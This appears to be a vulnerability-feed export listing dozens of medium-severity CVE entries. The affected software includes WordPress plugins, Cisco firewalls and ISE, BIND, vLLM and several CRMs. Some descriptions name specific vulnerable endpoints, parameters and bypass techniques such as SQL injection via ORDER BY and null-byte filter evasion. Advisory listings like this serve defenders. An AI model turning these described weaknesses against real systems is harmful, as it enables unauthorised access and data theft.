CVE-2026-92362	New	6.9	MEDI				A vulnerability was detected in ag-ui-protocol ag-ui 1.0. This impacts an unknown function of the file crates/ag-ui-client/src/sse.rs of the component SSE Frame Parser. Performing a manipulation results in resource consumption. The attack is possible to be carried out remotely. The pull request to fix this issue awaits acceptance.
CVE-2026-92401	New	6.9	MEDI				A vulnerability was identified in ChangeWeDer crm up to c07bd4c97141521af6475034bc58523beed51bbd. This vulnerability affects the function top.upstudy.crm.utils.LoginUserUtil.releaseUserIdFromCookie. The manipulation leads to improper authentication. The attack can be initiated remotely. Continuous delivery with rolling releases is used by this product. Therefore, no version ...
CVE-2026-92583	New	6.9	MEDI				AVideo through 29.0 contains a race condition in the enforceRateLimit() function that fails to atomically increment rate limit counters, allowing attackers to bypass all rate limits including login brute-force protection by issuing concurrent requests. Attackers can submit parallel credential attempts to exceed the documented 30-attempts-per-5-minutes login limit by an arbit...
CVE-2026-92790	New	6.9	MEDI				Higress before 2.2.4 panics when processing a Cookie header segment without an equals sign, causing the plugin wrapper to recover and return a continue action that bypasses AI token rate limiting. Unauthenticated attackers can craft a malformed Cookie header to skip rate limit checks and exceed thresholds intended to restrict costly model backend calls.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92803	New	6.9	MEDI				LibreTranslate through 1.9.6 omits the access_check decorator from the download_file route, allowing unauthenticated access to translated files. Attackers can bypass API key requirements and abuse ban lists to download files without authentication on protected instances.
CVE-2026-92813	New	6.9	MEDI				Metabase through 0.63.18 fails to properly validate the unspecified address 0.0.0.0 in custom GeoJSON URLs, allowing unauthenticated attackers to reach loopback services. Attackers can save a malicious GeoJSON entry with 0.0.0.0 and trigger requests that return loopback service responses to unauthenticated callers.
CVE-2026-20248	New	6.8	MEDI				A vulnerability in the DNS over TCP implementation of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause the TCP DNS response handler to unexpectedly restart, causing the device to reload. This vulnerability is due to a logic error when parsing...
CVE-2026-64684	New	6.8	MEDI				RMCP is an official Rust SDK for the Model Context Protocol. Prior to 2.1.0, the rmcp crate's StreamableHttpClientTransport in crates/rmcp/src/transport/common/request/streamable_http_client.rs builds its default_http_client with request's automatic redirect policy and applies caller-supplied values from StreamableHttpClientTransportConfig.custom_headers without marking them...
CVE-2026-76555	New	6.8	MEDI		0.002		The WP Import Export Lite WordPress plugin before 3.9.33 does not validate a user-supplied file path before reading it and copying it into a publicly accessible directory, allowing any user whose role an administrator has granted the WP Import Export Lite WordPress plugin before 3.9.33's import permission to disclose sensitive files from the server, including files located o...
CVE-2026-76556	New	6.8	MEDI		0.002		The WP Import Export Lite WordPress plugin before 3.9.33 does not properly sanitise and escape some export filter values before using them in SQL statements, allowing users holding its export permission, which administrators have by default and may also grant to lower roles, to perform SQL injection attacks.
CVE-2026-76557	New	6.8	MEDI		0.002		The WP Import Export Lite WordPress plugin before 3.9.33 does not properly sanitise and escape some import configuration values before using them in SQL statements, allowing users whose role an administrator has granted the WP Import Export Lite WordPress plugin before 3.9.33's import permission to perform SQL injection attacks.
CVE-2026-76558	New	6.8	MEDI		0.002		The WP Import Export Lite WordPress plugin before 3.9.33 does not escape custom field names retrieved from the database before inserting them into the DOM of one of its administration screens, allowing users with a role as low as contributor to perform Stored XSS attacks which will trigger in the browser of a high privileged user, such as an administrator, viewing that screen.
CVE-2026-77401	New	6.8	MEDI				Zope AccessControl provides a general security framework for use in Zope. Prior to 7.4, applications that allow untrusted users to create and execute AccessControl-controlled Python code do not safely guard str.format and str.format_map when those methods are reached through a str subclass. In both ImplPython.py and cAccessControl.c, Python formatting can recursively access ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-81326	New	6.8	MEDI		0.001		QND uses a hard-coded cryptographic key, which may allow a local attacker who is logged in to a Windows PC where the affected product's client is installed to obtain administrator credentials, including an ID and password.
CVE-2026-84088	New	6.8	MEDI		0.002		The Xpro Addons — 140+ Widgets for Elementor WordPress plugin before 1.7.9 does not validate or sanitize a widget link setting before storing and using it in a JavaScript navigation call, allowing users with the contributor role and above to inject and store JavaScript that executes in the browser of anyone who interacts with the affected widget.
CVE-2026-86784	New	6.8	MEDI		0.002		The Visualizer WordPress plugin before 4.0.8 does not sanitise and escape a chart's JSON data source configuration before outputting it back in the chart editor, allowing users with the Contributor role and above to store JavaScript that executes in the browser of any higher-privileged user, such as an administrator, who reviews the affected chart.
CVE-2026-91100	New	6.8	MEDI				HP has identified and remediated multiple externally reported vulnerabilities within HPLIP. The findings affect several software components that could potentially enable remote code execution, privilege escalation, denial of service, information disclosure, or unauthorized file modification under certain conditions.
CVE-2026-92140	New	6.8	MEDI				Jenkins Gitee Plugin 1301.v8957053c7902 and earlier does not escape the sender name from Gitee push webhook payloads in build causes, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to trigger builds via the Jenkins Gitee Plugin webhook endpoint.
CVE-2026-92800	New	6.8	MEDI				Docs before 5.4.1 fails to properly revoke websocket collaboration connections when access is revoked at parent documents. Attackers with revoked access can retain real-time read and write access to sub-documents through open websocket sessions that are never disconnected.
CVE-2026-92812	New	6.8	MEDI				decap-server contains a path traversal vulnerability in the local proxy containment guard that uses plain string prefix comparison without path separator validation. Attackers can access sibling directories whose names begin with the repository directory name to read, write, or delete files outside the intended repository root.
CVE-2026-26947	New	6.7	MEDI				Dell ECS versions 3.8.1.0 through 3.8.1.7, and Dell ObjectScale versions prior to 4.4.0.0, contains an Improper Privilege Management vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of privileges.
CVE-2026-92615	New	6.6	MEDI				A flaw was found in flightctl. The configureRepoHTTPSClient() function in the device-render worker builds a per-repository tls.Config (which may include InsecureSkipVerify, a custom CA bundle, or tenant-supplied mTLS client certificates) and installs it into go-git's process-global client.Protocols map via gitclient.InstallProtocol("https", ...). Because the worker renders d...
CVE-2026-16588	New	6.5	MEDI		0.003		The WP Directory Kit plugin for WordPress is vulnerable to blind SQL Injection via the 'order_by' parameter in all versions up to, and including, 1.5.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with custom-level access and above, to append addit...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-19033	New	6.5	MEDI				For a secondary zone with transfers restricted by TSIG, `named` may start to serve the data provided in a zone transfer before the final message with the TSIG signature arrives. This could allow an attacker that does not actually possess a valid TSIG signature to send unauthorized zone contents to a secondary server. Although no TSIG signature ever arrives, `named` does not ...
CVE-2026-20283	New	6.5	MEDI				A vulnerability in the IPsec Open API endpoint of Cisco ISE could allow an authenticated, remote attacker to inject arbitrary commands on the underlying operating system. This vulnerability is due to insufficient validation of user-supplied input in IPsec Open API calls. An attacker could exploit this vulnerability by sending crafted input to the IPsec Open API endp...
CVE-2026-20287	New	6.5	MEDI				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) engineering teams have conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulner...
CVE-2026-27553	New	6.5	MEDI		0.005		A low-privileged remote attacker can manipulate the schema path parameter in the /index.php/diagnostics_tab/ajax_diag_table_rows endpoint using a valid user cookie allowing disclosure of all user password hashes.
CVE-2026-57173	New	6.5	MEDI			pip:vllm	vLLM is an inference and serving engine for large language models. Prior to 0.24.0, the input_audio handling path for /v1/chat/completions calls AudioMediaIO.load_bytes or AudioMediaIO.load_file without passing VLLM_MAX_AUDIO_DECODE_DURATION_S to the shared audio decoder. An unauthenticated client can therefore submit a small compressed audio input that expands into a very l...
CVE-2026-61588	New	6.5	MEDI			pip:djust	djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, when a Django `Model` instance is assigned to a public view attribute, djust serialized it to the client with no sensitive-field denylist — sending fields such as `password` (the hash), privilege flags (e.g. `is_staff` / `is_superuser`), toke...
CVE-2026-62949	New	6.5	MEDI				AsyncSSH is a Python package which provides an asynchronous client and server implementation of the SSHv2 protocol on top of the Python asyncio framework. Prior to 2.24.0, _process_channel_open and _process_channel_open_confirmation in asyncssh/connection.py accept a peer-supplied send_pktsize value of zero. When channel data reaches SSHChannel._flush_send_buf in asyncssh/ch...
CVE-2026-69147	New	6.5	MEDI				vLLM is an inference and serving engine for large language models. Prior to 0.28.0, request bodies for Chat Completions and Responses can set media_io_kwargs.video.video_backend to pynvvideocodec, and MediaConnector.fetch_video forwards that choice to VideoMediaIO even when startup configuration selected a software decoder. The engine's _reserve_mm_ipc_gpu_memory logic budge...
CVE-2026-76438	New	6.5	MEDI				A vulnerability in the web-based management interface of Cisco BroadWorks CommPilot Application Software could allow an authenticated, remote attacker with low privileges to alter configurations on an affected device. This vulnerability is due to missing authorization checks. An attacker could exploit this vulnerability by sending a crafted HTTP request. A successful...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-76553	New	6.5	MEDI		0.002		The WP Import Export Lite WordPress plugin before 3.9.33 does not validate a path taken from stored, user-supplied data before recursively deleting the directory it resolves to, allowing users to whom an administrator has delegated a WP Import Export Lite WordPress plugin before 3.9.33 capability to delete arbitrary directories, and every file within them, including outside ...
CVE-2026-78227	New	6.5	MEDI		0.003		NLnet Labs Unbound 1.22.0 up to and including 1.26.1, has a use-after-free vulnerability when compiled for DNS-over-QUIC support with '--with-libngtcp2'. Each DoQ stream owns an output buffer that holds the DNS response. ngtcp2's retransmission buffer keeps a shallow pointer into the output buffer for as long as a STREAM frame may be resent. On a client RESET_STREAM, the out...
CVE-2026-84859	New	6.5	MEDI				ScadaLTS 2.8.1-release-candidate build 0 is affected by an Authenticated Blind SQL Injection The /api/events/search endpoint accepts a JSON body containing a sortBy array. The values in this array are concatenated directly into the SQL ORDER BY clause without any sanitization or parameterization. This allows authenticated users with the ROLE_USER role to perform time-base...
CVE-2026-84993	New	6.5	MEDI				MikroORM is a TypeScript ORM for Node.js based on Data Mapper, Unit of Work and Identity Map patterns. Prior to 6.6.16 and 7.1.7, the shared SQL layer validates the field key of an orderBy clause but does not validate its direction value before AbstractSqlPlatform.getOrderByExpression concatenates it into an ORDER BY clause. Applications that bind attacker-controlled request...
CVE-2026-85131	New	6.5	MEDI		0.001		The WPLP Cookie Consent WordPress plugin before 4.4.4 does not perform CSRF or capability checks when processing bulk actions on its administration screens, and does not restrict the targeted items to its own records, allowing attackers to make a logged in admin permanently delete arbitrary posts and pages via a crafted request.
CVE-2026-86358	New	6.5	MEDI				Dell Update Package Framework, versions prior to 26.07.03, contains a Stack-based Buffer Overflow vulnerability. An unauthenticated attacker with adjacent network access could potentially exploit this vulnerability, leading to Remote execution.
CVE-2026-86465	New	6.5	MEDI		0.002	apache:apache-airflow-providers-akeyless	Apache Airflow Akeyless provider: the Akeyless secrets backend's team-scope guard can be bypassed with a user-controlled key. In a multi-team deployment, a Dag author scoped to one team can supply a Variable key containing a path separator that causes the backend to resolve a secret belonging to a different team, because the lookup path is concatenated from an unvalidated ke...
CVE-2026-87076	New	6.5	MEDI				Tanium addressed an information disclosure vulnerability in Discover.
CVE-2026-87116	New	6.5	MEDI				Tanium addressed a server-side request forgery vulnerability in Threat Response.
CVE-2026-89034	New	6.5	MEDI				TCH QRing smart ring model R20_B006 running firmware RT09R20_1.00.00_250318 contains an unauthenticated Bluetooth Low Energy access vulnerability that allows any nearby attacker to connect to the device without pairing, authentication, or user approval by exploiting the exposed Nordic UART Service which enforces no client authentication or command authorization. Attackers wi...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92139	New	6.5	MEDI				Jenkins Bitbucket Push and Pull Request Plugin 4.0.1 and earlier trusts values provided in the webhook payload, including certain URLs, and uses configured Bitbucket credentials to connect to those URLs, allowing attackers to capture Bitbucket credentials stored in Jenkins by sending a crafted webhook payload.
CVE-2026-92417	New	6.5	MEDI				A vulnerability was found in Open5GS up to 2.8.0. This affects the function ogs_pfc_p_parse_volume_measurement in the library lib/pfc/types.c of the component PFCP Handler. The manipulation results in null pointer dereference. The attack may be launched remotely. The patch is identified as 8f07b507b78ff94776f2cd49276eb116ed93d7f2. A patch should be applied to remediate this ...
CVE-2026-92457	New	6.5	MEDI				yshop-crm through 2.1.3 contains a missing authorization vulnerability in the CrmInvoiceController issueInvoice endpoint that allows authenticated back-office users to issue arbitrary invoices. Attackers can call the PUT /admin-api/crm/invoice/issue endpoint without required permissions to modify invoice status, inflate contract invoiced amounts with attacker-chosen values, ...
CVE-2026-92462	New	6.5	MEDI				yshop-crm through 2.1.3 fails to enforce authorization checks on the CrmFlowController deleteFlowStep endpoint, allowing any authenticated back-office user to delete arbitrary approval workflow steps. Attackers can invoke the DELETE /admin-api/crm/flow/delete-step endpoint without required permissions to remove approval steps that control contract, receivable, and invoice fi...
CVE-2026-92463	New	6.5	MEDI				yshop-crm through 2.1.3 contains an authorization failure in the GET /admin-api/system/user/page endpoint where the @PreAuthorize annotation is commented out, allowing authenticated back-office users without system:user:list permission to enumerate all users. Attackers with valid back-office credentials and a role with data scope ALL can retrieve the complete user directory ...
CVE-2026-92468	New	6.5	MEDI				zlt2000 microservices-platform through 6.0.0 contains an authorization bypass vulnerability in the search-center service that allows authenticated attackers to read any Elasticsearch index by specifying the index name in POST /search/{indexName} and GET /agg/requestStat/{indexName}/{routing} path variables. Attackers can query arbitrary indices including sys_user to retrieve...
CVE-2026-92570	New	6.5	MEDI				reNgin through 2.2.0 contains an authorization bypass vulnerability in the GetFileContents API endpoint that allows any authenticated user to read bundled recon tool configuration files. Attackers with low-privilege Auditor roles can access files containing third-party API keys for services like SecurityTrails, Shodan, Censys, VirusTotal, BinaryEdge and Hunter by querying t...
CVE-2026-92603	New	6.5	MEDI				ContiNew Admin through 4.1.0 contains an authorization bypass vulnerability in the personal message delete endpoint that allows authenticated users to delete other users' messages and announcements. Attackers can supply arbitrary message identifiers in the IdsReq parameter to remove any message row and purge all recipients' read receipts without ownership validation.
CVE-2026-92770	New	6.5	MEDI				Harbor through 2.15.2 fails to properly restrict the q query parameter filtering on scanner registration access credentials. Project administrators can exploit fuzzy filtering on the AccessCredential column to recover the scanner adapter secret one character at a time through response row counts.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92771	New	6.5	MEDI				Twenty before 2.35.0 fails to validate field and row permissions in the groupBy-with-records GraphQL resolver, allowing authenticated users to bypass permission checks. Attackers with canReadObjectRecords permission but canReadFieldValue false can retrieve restricted field values through the groupBy resolver that would normally be denied.
CVE-2026-92775	New	6.5	MEDI				Wiki.js through 2.5.314 contains a server-side request forgery vulnerability in the Image Prefetch renderer that fetches arbitrary URLs without protocol, host, or address validation. Attackers with page editing permissions can inject img elements with the prefetch-candidate class to make the server request internal services and cloud metadata endpoints, with responses return...
CVE-2026-92811	New	6.5	MEDI				browserless versions 1.44.0 through 2.56.7 fail to enforce file protocol restrictions in Playwright websocket endpoints, allowing authenticated token holders to read arbitrary files. Attackers can navigate Playwright-driven browsers to file scheme URLs and access files accessible to the container process despite the ALLOW_FILE_PROTOCOL setting defaulting to false.
CVE-2024-11222	New	6.4	MEDI		0.003		GitLab has remediated an issue in GitLab CE/EE affecting all versions from 13.0 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that under certain conditions could have allowed a developer user to perform actions in the context of another user's merge request commit due to a race condition issue in pipeline creation.
CVE-2026-11996	New	6.4	MEDI		0.002		The Advanced Popups plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'Notification Button Link' Field in all versions up to, and including, 1.2.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whe...
CVE-2026-5920	New	6.4	MEDI		0.002		The Bold Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'shortcode_content' parameter of the bt_bb_shortcode shortcode in all versions up to, and including, 5.9.6. This is due to a bypassable security filter (bt_bb_save_pre) that can be circumvented via null byte injection, combined with insufficient output sanitization of base64-decod...
CVE-2026-92358	New	6.4	MEDI		0.003		A flaw was found in the first broker login flow of Keycloak. When a user confirms an account-linking request from a different browser, a temporary proof is created to validate the link. However, this proof is not properly cleared after the link is established or when the user later manually removes the link. An attacker who controls the external identity can exploit this lef...
CVE-2026-18120	New	6.3	MEDI				Concrete CMS before 9.5.3 exposed a legacy Express entry search endpoint that returned entry result JSON without invoking the canViewExpressEntries() permission check applied by the normal dashboard and CSV Export flow. An unauthenticated visitor who knew or discovered an Express entity identifier could enumerate that entity's entry search results, disclosing attribute value...
CVE-2026-56719	New	6.3	MEDI				MikroTik RouterOS before 7.24 contains an out-of-bounds read vulnerability in the userspace SMB daemon that allows unauthenticated attackers to read beyond the end of the request buffer by supplying a crafted uniPwLen field value in a minimal SMB1 SessionSetupAndX frame. The out-of-bounds read occurs in the SessionSetupAndX handler before any credential validation, potentia...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-61589	New	6.3	MEDI			pip:djust	djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, the WebSocket `handle_mount` and `ViewRuntime._build_request` rebuild an `HttpRequest` via `RequestFactory().get(...)` with no `HTTP_HOST`, so `request.get_host()` defaulted to `testserver` on the live path. Host/subdomain/domain `TenantRes...
CVE-2026-73169	New	6.3	MEDI				Nozomi Networks Labs identified a CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in the Modbus transaction management interface of Advantech EKI-1242EIMS in firmware version V1.06.01 that allows a remote authenticated attacker to store malicious script content that executes in the browser of any administrator who la...
CVE-2026-77360	New	6.3	MEDI				oRPC is an tool that helps build APIs that are end-to-end type-safe and adhere to OpenAPI standards. Prior to 1.14.8, the @orpc/server CORS plugin in packages/server/src/plugins/cors.ts copies a client's incoming Vary request header into the response instead of controlling Vary as a response-only header and using Origin for request-origin variation. In deployments behind a s...
CVE-2026-81871	New	6.3	MEDI				OpenTelemetry-Go is the Go implementation of OpenTelemetry. Prior to version 0.21.0, the exporters/otlp/otlplog/otlploggrpc package loads OTEL_EXPORTER_OTLP_LOGS_CERTIFICATE, OTEL_EXPORTER_OTLP_CERTIFICATE, and related client certificate environment variables through loadEnvTLS into cfg.tlsCfg, but newGRPCDialOptions does not apply cfg.tlsCfg when creating gRPC transport cre...
CVE-2026-81872	New	6.3	MEDI				OpenTelemetry-Go is the Go implementation of OpenTelemetry. Prior to version 0.21.0, the go.opentelemetry.io/otel/sdk/log BatchingProcessor can enter a tight CPU loop when attacker-driven log emission fills its asynchronous export buffer while the exporter is backpressured. NewBatchingProcessor wraps the exporter with newBufferExporter(exporter, 1), and the poll loop calls q...
CVE-2026-87113	New	6.3	MEDI				Tanium addressed an improper access controls vulnerability in Threat Response.
CVE-2026-88255	New	6.3	MEDI		0.004		Improper Validation of Unsafe Equivalence in Input in ZenHive mpp allows an unauthenticated remote client to pass the Tempo duplicate-submission gate twice with one signed transaction. MPP.Methods.Tempo reserves the pre-broadcast dedup slot on the caller-supplied hex in reserve_hash_atomic/2, keyed through store_key/1 on tx.raw rather than on a canonical form of the transac...
CVE-2026-89186	New	6.3	MEDI		0.004		Use of Cache Containing Sensitive Information in ZenHive mpp allows a shared HTTP cache to store a paid response and serve it to clients that never paid. MPP.Plug.verify_credential in lib/mpp/plug.ex sets payment-receipt and cache-control: private on the connection before the wrapped application runs, and registers no register_before_send/2 callback. Plug.Conn.put_resp_head...
CVE-2026-92298	New	6.3	MEDI		0.003		EspoCRM through 10.0.8 uses PHP's rand() function to generate tokens for lead-capture opt-in, event invitation, and campaign URLs instead of a cryptographically secure generator. Remote unauthenticated attackers can guess these roughly 31-bit tokens to confirm opt-ins, accept or decline event invitations on behalf of other contacts, and access event details.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92360	New	6.3	MEDI				A weakness has been identified in ag-ui-protocol ag-ui 1.0. The impacted element is the function prepareRunAgentInput of the file agent/agent.ts of the component Event Application Layer. This manipulation of the argument TEXT_MESSAGE_START causes origin validation error. Remote exploitation of the attack is possible. The pull request to fix this issue awaits acceptance.
CVE-2026-92402	New	6.3	MEDI				A security flaw has been discovered in ChangeWeDer crm up to c07bd4c97141521af6475034bc58523beed51bbd. This issue affects the function index of the file UserController.java of the component top.upstudy.crm.controller.UserController. The manipulation results in missing authorization. The attack can be launched remotely. This product does not use versioning. This is why inform...
CVE-2026-92526	New	6.3	MEDI				A flaw has been found in itsourcecode Leave Management System 1.0. This affects an unknown function of the file /module/leave/index.php. Executing a manipulation of the argument ID can lead to sql injection. The attack may be launched remotely. The exploit has been published and may be used.
CVE-2026-92781	New	6.3	MEDI				Builder.io Gen2 SDKs through versions 5.2.11 and 0.25.13 contain a prototype pollution vulnerability in the unflatten helper that processes builder.userAttributes query parameters without prototype guards. Attackers can craft preview links with __proto__ or prototype segments to pollute Object.prototype in a visitor's browser when the SDK processes the malicious URL.
CVE-2026-18555	New	6.1	MEDI		0.002		The Better Messages – Chat Rooms, Group Chat, Private Messages & AI Chat Bots plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'icn' parameter in all versions up to, and including, 2.15.22 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that e...
CVE-2026-20309	New	6.1	MEDI				A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an unauthenticated, remote attacker to conduct a reflected cross-site scripting (XSS) attack against a user of the interface. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit...
CVE-2026-59944	New	6.1	MEDI				Composer is a dependency Manager for the PHP language. From 1.0 until 2.2.30 and from 2.3.0 until 2.10.3, a malicious or compromised dependency can bypass the earlier CVE-2026-59946 binary-path hardening because Composer validates literal parent-directory segments only during dependency resolution, while the symlink and installed-metadata paths described by the advisory skip...
CVE-2026-88976	New	6.1	MEDI				Plate is a rich-text editor with AI and shadcn/ui. Prior to 53.3.11, and in the discontinued 54.0.0-beta.0 through 54.0.0-beta.1 builds, Plate core HTML deserialization APIs parse supplied HTML strings in the active document. When an application passes untrusted or cross-user HTML to these APIs, certain HTML attributes can trigger browser behavior before the HTML is converte...
CVE-2026-92584	New	6.1	MEDI				AVideo through 29.0 (current revision e01e41ecc) contains a stored cross-site scripting vulnerability. The unauthenticated view-counter endpoint objects/videoAddViewCount.json.php reaches VideoStatistic::save(), which writes the caller's User-Agent (via getUserAgentInfo()), which returns unrecognized agent strings verbatim) directly into the `app` column of the videos_statist...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-73436	New	6.0	MEDI		0.002		On affected platforms running Arista EOS with OSPFv2 and OSPFv2 segment routing configured, a specially crafted OSPFv2 packet from an adjacent OSPF neighbor may cause OSPF to restart unexpectedly.
CVE-2026-73457	New	6.0	MEDI				Under certain circumstances on affected platforms running Arista EOS with gRPC Network Packet Sampling Interface (gNPSI) enabled, the gNPSI client credentials might be logged in clear text in local or remote accounting logs to authenticated users.
CVE-2026-73463	New	6.0	MEDI		0.002		On affected platforms running Arista EOS, when multiple gRPC Network Security Interface (gNSI) transports are configured, a race condition in the gNSI Authz service may cause a policy rotation to fail silently. An authenticated user whose access was revoked by the new policy may retain unauthorized access to gRPC interfaces. This does not affect Bootz. This issue was discov...
CVE-2026-77190	New	6.0	MEDI				On affected platforms running Arista EOS, an unauthenticated attacker who is network-adjacent to the switch and able to connect to a device with PIM Sparse Mode and MLAG configured, can send malformed messages that cause the Pimsm agent to terminate unexpectedly. The Pimsm agent is automatically restarted, but repeated attacks can cause the agent to restart continuously, res...
CVE-2026-86338	New	6.0	MEDI		0.003		Ash field_policies are documented to protect against filter-based information disclosure: when a field the actor may not see is referenced in a filter, it is replaced with an expression that evaluates to nil, so a filter cannot be used as a yes/no oracle to read a value the actor cannot see. This nilling was applied to attributes but not to calculations or aggregates. A use...
CVE-2026-19662	New	5.9	MEDI				An attacker may be able to cause a `named` resolver to abort. The attack requires inducing the victim resolver to send multiple queries for a DNSSEC-signed zone hosted by an authoritative server under the control of the attacker. If the auth responds with a particular sequence of crafted answers, and those answers arrive in a particular order with particular timing, the `nam...
CVE-2026-19941	New	5.9	MEDI				An inapplicable NSEC record may be accepted by a `named` resolver as proof that no wildcard exists, which could allow an attacker at the same or an upstream level of the zone name to mask the existence of a victim's wildcard record. This issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.11.3-S1 through 9.18.50-S1, and 9.2...
CVE-2026-77119	New	5.9	MEDI				A validly signed NSEC3 from an unrelated sibling zone may be accepted as an insecurity proof, downgrading a secure delegation and letting a forged unsigned answer through. This issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.
CVE-2026-82561	New	5.9	MEDI				Apache NiFi 1.5.0 through 2.11.0 provide REST API methods that replace the entire contents of a Process Group using a client-supplied flow definition, covering Process Group flow replacement together with versioned flow update and rebase operations. Framework authorization for these methods was limited to read and write privileges on the Process Group itself, unlike the corr...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-82720	New	5.9	MEDI		0.003		NLnet Labs Unbound 1.12.0 up to and including 1.26.0 has a use-after-free vulnerability when compiled for DNS-over-HTTPs support with '--with-libnghttp2'. During failure code paths (i.e., RPZ drop query, jostle due to heavy traffic), a dropped DoH stream brings down the whole DoH session and does not account properly for other DoH streams in the same session. This leads to u...
CVE-2026-92081	New	5.9	MEDI		0.004		fastify is a fast and low-overhead web framework for Node.js. In versions before 5.12.5, when a route registers a response trailer via reply.trailer() and is served over HTTP/2, fastify unconditionally sets the Transfer-Encoding: chunked header, which is forbidden on HTTP/2, so Node.js throws while serializing the response headers. The exception is not caught and becomes an ...
CVE-2026-92091	New	5.9	MEDI		0.005		A flaw was found in jwcrypto. The JWK.import_key() function validates the key_ops JWK member for duplicate values using an algorithm with O(n^2) time complexity, and the length of key_ops is not bounded. A remote, unauthenticated attacker can supply a JWK with a large key_ops array to an application that passes attacker-controlled key material to a public key-import API (rea...
CVE-2026-92588	New	5.9	MEDI				n8n is a workflow automation platform. In n8n versions before 1.123.76, 2.37.7, and 2.38.2, the source control push endpoint derived the set of files to push from the file paths and status supplied in the client request payload instead of from the server-side status computed for the requesting user. An authenticated project-scoped user (e.g., a project admin) could therefore...
CVE-2026-92595	New	5.9	MEDI				Nodemailer (npm package `nodemailer`) versions 9.1.0 and earlier do not honor the `disableFileAccess` and `disableUrlAccess` sandbox options when message content is resolved through the public plugin API `MailMessage.resolveContent()` using the documented legacy three-argument signature `resolveContent(data, key, callback)`. Because `shared.resolveContent()` normalizes the m...
CVE-2026-20120	New	5.8	MEDI				A vulnerability in the access control list (ACL) Object Group Search (OGS) implementation of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to bypass configured access controls. This vulnerability is due to a logic error in populating group access cont...
CVE-2026-20290	New	5.8	MEDI				A vulnerability in SSL/TLS certificate parsing in the Snort 2 Detection Engine of Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause the Snort 2 Detection Engine to restart. This vulnerability is due to incomplete validation of the SSL certificate. An attacker could exploit this vulnerability by sending a crafted S...
CVE-2026-78301	New	5.8	MEDI				A malformed zone may contain an NS or DNAME node above its origin, which `named` treats as a zone cut. If an attacker inserts a malformed zone into a BIND authoritative server (e.g., via zone transfer), queries for names inside the configured zone then lose authoritative status and return an out-of-zone delegation. On a server that also provides recursion BIND can follow thi...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-87828	New	5.7	MEDI		0.002		The Seraphinite Accelerator WordPress plugin before 2.29.24 does not perform a capability check on one of its state-update AJAX actions, allowing authenticated users such as subscribers to write a malformed value that causes an uncaught error on every subsequent admin page load, making the entire admin area inaccessible to all administrators (denial of service).
CVE-2026-76104	New	5.5	MEDI				Dell ObjectScale, versions prior to 4.4.0.0, contains an Incorrect Permission Assignment for Critical Resource vulnerability in the OS. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Denial of service.
CVE-2026-92366	New	5.5	MEDI				A vulnerability was determined in code-projects Matrimonial System 1.0. This affects an unknown part of the file /search.php of the component Regular Search. This manipulation of the argument sex/mothertongue/maritalstatus/country/state/religion/agemin/agemax causes sql injection. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utili...
CVE-2026-92380	New	5.5	MEDI				A flaw has been found in WuzhiCMS up to 4.1.0. The impacted element is the function ckeditor::saveRemote of the file coreframe/app/attachment/index.php of the component Remote Image Fetch. This manipulation of the argument source[] causes server-side request forgery. The attack can be initiated remotely. The exploit has been published and may be used. The project was informed...
CVE-2026-92405	New	5.5	MEDI				A security vulnerability has been detected in SourceCodester Inventory and Monitoring System 1.0. The affected element is an unknown function of the file /index.php. Such manipulation of the argument Username leads to sql injection. The attack may be launched remotely. The exploit has been disclosed publicly and may be used.
CVE-2026-13407	New	5.4	MEDI		0.002		The Royal Elementor Addons WordPress plugin before 1.7.1067 does not properly sanitize and escape values submitted through its form widget before including them in the body of administrator notification emails, allowing unauthenticated attackers to inject arbitrary HTML into emails sent to the site administrator on form submission.
